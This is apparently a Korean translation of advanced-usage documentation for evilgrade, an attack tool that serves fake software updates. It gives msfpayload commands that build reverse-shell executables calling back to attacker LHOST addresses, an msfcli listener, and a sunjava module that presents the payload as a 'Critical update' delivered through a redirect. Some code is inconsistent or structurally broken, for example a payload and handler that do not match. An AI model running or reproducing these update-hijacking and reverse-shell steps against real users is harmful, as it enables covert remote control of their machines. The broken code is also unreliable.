## .:: [고급] ::.

- 모듈 옵션:
각 모듈에는 특수 옵션이 있지만, "agent" 필드는 항상 존재합니다.
agent는 가짜 업데이트 바이너리이며, 해당 바이너리가 위치한 경로를 설정하거나 동적 가짜 업데이트 바이너리 생성을 구현해야 합니다.

[동적 가짜 업데이트 바이너리]는 외부 명령을 실행하여 바이너리를 생성할 수 있게 합니다. 예를 들어 metasploit 프레임워크의 msfpayload를 사용할 수 있습니다.
이 기능을 사용하여 metasploit의 모든 페이로드를 생성하거나 외부 인터페이스를 사용하여 바이너리를 만들 수 있습니다.

# 예제 1:```
evilgrade(sunjava)>set agent '["/metasploit/msfpayload windows/shell_reverse_tcp LHOST=192.168.233.2 LPORT=4141 X > <%OUT%>/tmp/a.exe<%OUT%>"]'

이 경우 모든 필요한 업데이트 바이너리에 대해 페이로드 "windows/shell_reverse_tcp"를 사용하여 가짜 업데이트 바이너리를 생성합니다 리버스 셸을 사용하여 주소 192.168.233.2 포트 4141에 연결합니다. 레이블 <%OUT%><%OUT>은 출력 바이너리가 생성될 위치를 감지하는 특별한 태그입니다. Evilgrade는 대괄호 '[]' 사이에 문장이 있기 때문에 "dynamic fake update binary feature"의 사용을 감지합니다. 해당 대괄호 안에는 다시 대괄호 ""로 묶인 문자열이 있으며, 이는 perl로 컴파일됩니다.

예를 들어, 다음과 같이 사용하는 경우:``` evilgrade(sunjava)>set agent '["./generatebin -o <%OUT%>/tmp/update".int(rand(256)).".exe<%OUT%>"]'

그런 다음 바이너리 요청이 있을 때마다 evilgrade는 해당 줄을 조합하고 최종 문자열 "./generatebin -o /tmp/update(random).exe"를 실행합니다.
서로 다른 에이전트를 생성합니다.


쉽지만 동적이지 않은 대안은 터미널에서 msfpayload로 직접 페이로드를 생성하고 이를 모듈의 구성에 수동으로 할당하는 것입니다.

# 예제 2:

(evilgrade 외부에서)```
[team@faraday]$ msfpayload windows/meterpreter/reverse_ord_tcp LHOST=192.168.100.2 LPORT=4444 X > /tmp/reverse-shell.exe

(evilgrade 내부)``` evilgrade(sunjava)>set agent /tmp/reverse-shell.exe

페이로드가 생성된 후, 이전에 지정된 LHOST에서 multi handler가 수신 대기하도록 둡니다.

(evilgrade 외부)```
[team@faraday]$ msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.100.2 LPORT=4444 E
[*] Started reverse handler on 192.168.100.2:4444
[*] Starting the payload handler...

.:: [모듈 개발] ::.

모듈 개발은 매우 간단합니다. evilgrade가 모듈 기반이므로, .pm 패키지(Perl 모듈)를 사용하기만 하면 됩니다. 이 경우 sunjava 업데이트 모듈(# 주석 포함)을 설명하겠습니다.``` perl package modules::sunjava;

use strict; use Data::Dump qw(dump);

    {
    'req' => '(/update/[.\d]+/map\-[.\d]+.xml|/update/1.6.0/map\-m\-1.6.0.xml)', #The required URL, regex friendly
    'type' => 'file', #it's the response type (file|string|agent|install)

    'string' => '', #if we have chosen the 'type' string then in this variable we set the response

    'file' => './include/sunjava/sunjava_map.xml'
    },

    {
    'req' => '^/java_update.xml$', #regex friendly

    #In this case we parse the file
                'parse' => '1',
    #To parse the file we use special tags, like <%OPTIONAME%> inside the "file" or "string" field
          #This tags are replaced with the values of the options, for example
          #<%TITLE%> will be replaced by 'Critical update'
    'file' => './include/sunjava/x.jnlp'
    },
    {
    'req' => '.jar', #regex friendly

#Options
#Here we have the options that will be displayed with "show options" inside the current module.

'options' => {  'agent'  => { 'val' => './agent/java/javaws.exe', #The default value
          'desc' => 'Agent to inject'}, #Brief description
    'arg'    => { 'val' => 'http://java.sun.com/x.jnlp"',
          'desc' => 'Arg passed to Agent'},
    'enable' => { 'val' => 1,
          'desc' => 'Status'},

#The following is a dynamic hidden option,

#You can use whatever you like in perl, if you're wishing to use more functions check "isrcore/utils.pm"
                'name'  => { 'val' => "'javaupdate'.isrcore::utils::RndAlpha(isrcore::utils::RndNum(1))",
                            'hidden' => 1,
                      'dynamic' =>1,},

#All the options depend on the update process. You have to research the possible variables and implement them on your module
#These are the mostly common update messages, webpages, descriptions, popup messages, title, etc
    'title'  => { 'val' => 'Critical update',
          'desc' => 'Title name displayed in the update'},
    'description' => { 'val' => 'This critical update fix internal vulnerability',
      'desc' => 'Description to be displayed during the update'},

    'website' => { 'val' => 'http://java.com/moreinfolink',
           'desc' => 'Website displayed in the update'}
 }

};

## .:: [팁] ::.

1) evilgrade를 청취 소켓을 생성할 권한이 있는 사용자로 실행하는 것을 잊지 마십시오. 그렇지 않으면 evilgrade의 서비스를 사용할 수 없습니다.

2) evilgrade가 실행 중인 상태에서 모듈을 수정할 때마다 'reload'하는 것을 잊지 마십시오.

3) 서비스를 시작하기 전에 바이너리 'agents'를 설정하십시오. evilgrade가 이미 실행 중인 상태에서는 채울 수 없는 필드(agentmd5, agentsha256, agentsize)가 있기 때문입니다.

4) 다음과 같은 변수를 사용하는 동적 응답을 사용하는 경우: <%AGENTSIZE%>, <%AGENTMD5%>, <%URL\_FILE%>, <%URL\_FILE\_EXT%>, 또는 옵션 섹션에서 정의된 사용자 정의 변수가 있다면, *parse*를 1로 설정하는 것을 잊지 마십시오.

5) 에이전트를 주입하는 경우에도 마찬가지로, *bin* 플래그를 1로 활성화해야 합니다.

6) HTTP를 사용하여 일반 텍스트 응답을 만들려면 *cheader* 플래그를 사용하십시오. 아래 예시:```
        {   'req' => '/sitepath/download/file.zip'
            ,    #regex friendly
            'type'    => 'string',                  #file|string|agent|install
            'method'  => '',                        #any
            'bin'     => '',
            'string'  => '',
            'parse'   => '1',
            'file'    => '',
            'cheader' => "HTTP/1.1 302 Found\r\n"
                . "Location: http://sitedomain.com/<%URL_FILE%>.exe \r\n"
                . "Content-Length: 0 \r\n"
                . "Connection: close \r\n\r\n",
        },

7) To filter via User-Agent, use as an example the Sparkle2 module. In base add  'useragent' => 'true', and on a request use as you would use the 'req' field but for user agents in 'useragent'. Note that this field already stripped "User-Agent: ".
